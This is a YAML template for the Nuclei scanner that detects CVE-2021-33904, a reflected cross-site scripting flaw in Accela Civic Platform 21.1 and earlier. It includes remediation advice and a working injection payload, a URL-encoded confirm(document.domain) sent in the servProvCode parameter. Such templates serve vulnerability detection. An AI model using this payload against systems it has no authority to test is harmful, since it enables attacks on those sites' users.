id: CVE-2021-33904

info:
  name: Accela Civic Platform <=21.1 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: Accela Civic Platform through 21.1 contains a cross-site scripting vulnerability via the security/hostSignon.do parameter servProvCode.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Accela Civic Platform (version >21.1) that includes proper input validation to mitigate the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49980
    - https://gist.github.com/0xx7/3d934939d7122fe23db11bc48eda9d21
    - http://packetstormsecurity.com/files/163093/Accela-Civic-Platorm-21.1-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-33904
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-33904
    cwe-id: CWE-79
    epss-score: 0.1084
    epss-percentile: 0.93472
    cpe: cpe:2.3:a:accela:civic_platform:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: accela
    product: civic_platform
  tags: cve,cve2021,accela,xss,edb,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/security/hostSignon.do?hostSignOn=true&servProvCode=k3woq%22%5econfirm(document.domain)%5e%22a2pbrnzx5a9"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        words:
          - '"k3woq"^confirm(document.domain)^"a2pbrnzx5a9"'
          - 'servProvCode'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022035b4e2edd8c0f9307f6db851fca1803e5d5b128b38f39f82b9094826d0e652d20221008fe2783572fbf9350372f54c4296f17eeaa8e3e885c3514f2db1270d58616646:922c64590222798bb761d5b6d8e72950